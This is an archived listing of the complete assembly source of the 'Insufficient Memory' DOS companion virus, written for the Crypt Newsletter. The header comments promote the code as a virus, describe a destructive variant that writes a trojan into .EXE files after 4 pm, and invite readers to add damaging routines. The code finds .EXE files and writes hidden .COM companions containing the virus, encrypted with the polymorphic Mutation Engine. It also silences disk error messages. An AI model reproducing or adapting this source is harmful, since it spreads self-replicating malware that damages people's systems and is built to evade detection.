home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / INSUFF.ASM < prev    next >
Assembly Source File  |  1992-09-29  |  7KB  |  179 lines

  1. ;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
  2. ;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which 
  3. ;confines itself to the current directory. To assemble with TASM 2.5, user
  4. ;must have complete MTE091B software package (including RND.OBJ,
  5. ;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this
  6. ;issue of the Crypt Newsletter to assemble all proper
  7. ;components. Observant readers will notice INSUFF MEMO takes advantage of
  8. ;VCL 1.0 code as well as notation from the SARA virus.  INSUFF MEMO is
  9. ;a non-threatening, unique example of an MtE-loaded companion virus -
  10. ;the only one in circulation, in fact.
  11. ;
  12. ;INSUFF2, included as a DEBUG script in this newsletter, is functionally        
  13. ;identical to this virus.  However, for those who 'require' a destructive
  14. ;program for their full enjoyment, it is loaded with a routine which
  15. ;simple checks the system time and branches to some 'dropper' code if
  16. ;after quitting time (4:00 pm).  The 'dropper' reads from a data table
  17. ;and writes the NOIZ trojan to any .EXE in the current directory. By
  18. ;looking carefully at this code, several areas where 'potentially'
  19. ;destructive/nuisance routines can be added will suggest themselves.
  20. ;We do not include them for a number of reasons: 1) they are easy to
  21. ;come by in any number of books on assembly coding, the VCL 1.0 (an
  22. ;excellent source), or source code archives on mnay BBS's, and; 2)
  23. ;it allows you to get creative if you want and tinker (like I do all the
  24. ; time) with the basic layout of virus source.
  25. ;        
  26. ;INSUFF3's source listing is modified to allow the virus to jump out        
  27. ;of the current directory when all files in it are infected.  The
  28. ;listing is publicly available at the BBS's listed at the end of the
  29. ;Crypt newsletter.
  30.  
  31.     .model  tiny
  32.     .radix  16
  33.     .code
  34.  
  35.     extrn   mut_engine: near
  36.     extrn   rnd_buf: word, data_top: near
  37.  
  38.     org     100
  39.  
  40. start:
  41.     call    locadr
  42.  
  43. reladr: 
  44.     db      'Insufficient memory'
  45.     
  46. locadr:
  47.     pop     dx
  48.     mov     cl,4
  49.     shr     dx,cl
  50.     sub     dx,10
  51.     mov     cx,ds
  52.     add     cx,dx                   ;Calculate new CS
  53.     mov     dx,offset begin
  54.     push    cx dx
  55.     retf
  56. begin:
  57.     cld
  58.     mov     di,offset start
  59.     push    es di                   ;
  60.     push    cs                      ;A carry over from the DAV
  61.     pop     ds                      ;SARA virus, something of a curiosity
  62.                     ;in this companion virus
  63.     mov     dx,offset dta_buf       ;Set DTA
  64.     mov     ah,1a
  65.     int     21
  66.     mov     ax,3524                 ;Hook INT 24, error handler
  67.     int     21                      ;see bottom of code
  68.     push    es bx
  69.     mov     dx,offset fail_err
  70.     mov     ax,2524
  71.     int     21
  72.  
  73.         xor     ax,ax                   ;Initialize random seed for MtE
  74.     mov     [rnd_buf],ax            ;could be coded, mov  cs:[rnd_buf],0
  75.     push    sp                      ;process necessary for generation of
  76.     pop     cx                      ;MtE encryption key - see MtE docs
  77.     sub     cx,sp                   ;for further notation
  78.     add     cx,4
  79.     push    cx
  80.     mov     dx,offset srchnam   ;EXE file-mask for spawn-name search
  81.     mov     cl,3
  82.     mov     ah,4e               ; DOS find first file function
  83.        
  84. find_a_file:    
  85.        int     021h
  86.        jc      infection_done          ; Exit if no files found
  87.        jmp     infect                  ; Infect the file!
  88.        jnc     infection_done          ; Exit if no error
  89. findr: mov     ah,04Fh                 ; DOS find next file function
  90.        jmp     find_a_file             ; Try finding another file
  91.  
  92.     
  93. infection_done: 
  94.      
  95.     mov     ax,4C00h                ;terminate
  96.     int     21h
  97.  
  98. infect:
  99.     mov     ah,02Fh                 ; DOS get DTA address function
  100.     int     021h
  101.     mov     di,bx                   ; DI points to the DTA
  102.  
  103.     lea     si,[di + 01Eh]          ; SI points to file name
  104.     mov     dx,si                   ; DX points to file name, too
  105.     mov     di,offset spawn_name + 1; DI points to new name
  106.     xor     ah,ah                   ; AH holds character count
  107. transfer_loop:  
  108.     lodsb                           ; Load a character
  109.     or      al,al                   ; Is it a NULL?
  110.     je      transfer_end            ; If so then leave the loop
  111.     inc     ah                      ; Add one to the character count
  112.     stosb                           ; Save the byte in the buffer
  113.     jmp     short transfer_loop     ; Repeat the loop
  114. transfer_end:   
  115.     mov     byte ptr [spawn_name],ah; First byte holds char. count
  116.     mov     byte ptr [di],13        ; Make CR the final character
  117.     mov     di,dx                   ; DI points to file name
  118.     xor     ch,ch                   ;
  119.     mov     cl,ah                   ; CX holds length of filename
  120.     mov     al,'.'                  ; AL holds char. to search for
  121. repne   scasb                           ; Search for a dot in the name
  122.     mov     word ptr [di],'OC'      ; Store "CO" as first two bytes
  123.     mov     byte ptr [di + 2],'M'   ; Store "M" to make "COM"
  124.  
  125.     mov     byte ptr [set_carry],0  ; Assume we'll fail
  126.     mov     ax,03D00h               ; DOS open file function, r/o
  127.     int     021h
  128.     jnc     findr                   ; File already exists, so leave
  129.     mov     byte ptr [set_carry],1  ; Success -- the file is OK
  130.     mov     ah,03Ch                 ; DOS create file function
  131.     mov     cx,00100111b            ; CX holds file attributes (all)
  132.     int     21h
  133.     xchg    bx,ax                   ; BX holds file handle
  134.     push    dx cx
  135.     mov     ax,offset data_top+0Fh
  136.     mov     cl,4
  137.     shr     ax,cl
  138.     mov     cx,cs
  139.     add     ax,cx
  140.     mov     es,ax
  141.     mov     dx,offset start   ; DX points to start of virus
  142.     mov     cx,offset _DATA   ; CX holds virus length for encryption 
  143.     push    bp bx
  144.     mov     bp,0100h  ;tells MtE decryption routine will
  145.     xor     si,si     ;hand over control to where virus adds 
  146.     xor     di,di     ;itself to 'infected' file, in this case offset  
  147.     mov     bl,0Fh    ;0100h .. set si/di to 0, bl to 0Fh, all required 
  148.     mov     ax,101    ;set bit-field in ax 
  149.     call    mut_engine   ;call the Mutation Engine to do its thing
  150.     pop     bx ax
  151.     add     ax,cx
  152.     neg     ax
  153.     xor     ah,ah
  154.     add     ax,cx
  155.     mov     ah,040h          ;write encrypted virus to newly created file 
  156.     int     21h
  157.     mov     ah,03Eh          ;close the file 
  158.     int     21h
  159.     cmp     byte ptr [set_carry],1    
  160.     jmp     infection_done            ;move to end game
  161.  
  162.         
  163.  
  164. fail_err:                      ;Critical error handler
  165.     mov     al,3           ;prevents virus from producing
  166.     iret                   ;messages on write-protected disks.
  167.                    ;Not handed back to machine when virus exits.
  168. srchnam db      '*.EXE',0      ;File-mask for 'spawn-search.'
  169.  
  170.  
  171.  
  172.     .data
  173.  
  174. dta_buf         db      2bh dup(?)              ; Buffer for DTA
  175. spawn_name      db      12,12 dup (?),13        ; Name for next spawn
  176. set_carry       db      ?                       ; Set-carry-on-exit flag
  177.     
  178.     end     start
  179.